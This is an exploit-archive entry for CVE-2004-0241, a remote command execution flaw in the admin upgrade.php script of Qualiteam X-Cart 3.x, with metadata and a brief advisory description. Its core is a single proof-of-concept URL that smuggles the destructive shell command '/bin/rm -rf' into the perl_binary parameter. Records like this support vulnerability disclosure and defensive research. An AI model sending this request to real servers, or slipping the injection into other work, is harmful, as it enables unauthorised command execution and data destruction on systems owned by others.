Qualiteam X-Cart 3.x - 'upgrade.php?perl_binary' Arbitrary Command Execution

Author: Philip
type: webapps
platform: php
port: 
date_added: 2004-02-03 
date_updated: 2012-12-24 
verified: 1 
codes: CVE-2004-0241;OSVDB-3809 
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application_url: 

source: https://www.securityfocus.com/bid/9560/info

X-Cart has been reported to be prone to an issue that may allow remote attackers to execute arbitrary commands on the affected system. The issue is caused by a failure of the application to sanitize values specified by parameters in the URI.

http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..